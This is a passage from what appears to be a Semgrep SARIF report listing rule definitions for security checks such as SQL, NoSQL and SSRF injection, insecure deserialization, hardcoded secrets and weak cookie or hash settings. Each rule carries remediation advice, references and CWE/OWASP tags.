Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","id":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","name":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","id":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","name":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","id":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","name":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","id":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","name":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill","id":"python.lang.deserialization.tainted-dill.tainted-dill","name":"python.lang.deserialization.tainted-dill.tainted-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-dill.tainted-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","id":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","name":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","id":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","name":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mysql.express-mysql-sqli.express-mysql-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"help":{"markdown":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash)\n - [https://cwe.mitre.org/data/definitions/328.html](https://cwe.mitre.org/data/definitions/328.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","id":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","name":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","id":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","name":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express","id":"javascript.express.db.sequelize-express.sequelize-express","name":"javascript.express.db.sequelize-express.sequelize-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sequelize-express.sequelize-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"help":{"markdown":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf)\n - [https://www.cvedetails.com/cve/CVE-2020-28168/](https://www.cvedetails.com/cve/CVE-2020-28168/)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"helpUri":"https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","id":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","name":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted)\n - [https://laravel.com/docs/9.x/responses#cookies-and-encryption](https://laravel.com/docs/9.x/responses#cookies-and-encryption)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management)\n","text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","id":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","name":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","id":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","name":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","id":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","name":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","id":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","name":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"help":{"markdown":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile\n\n<b>References:</b>\n - [Semgrep 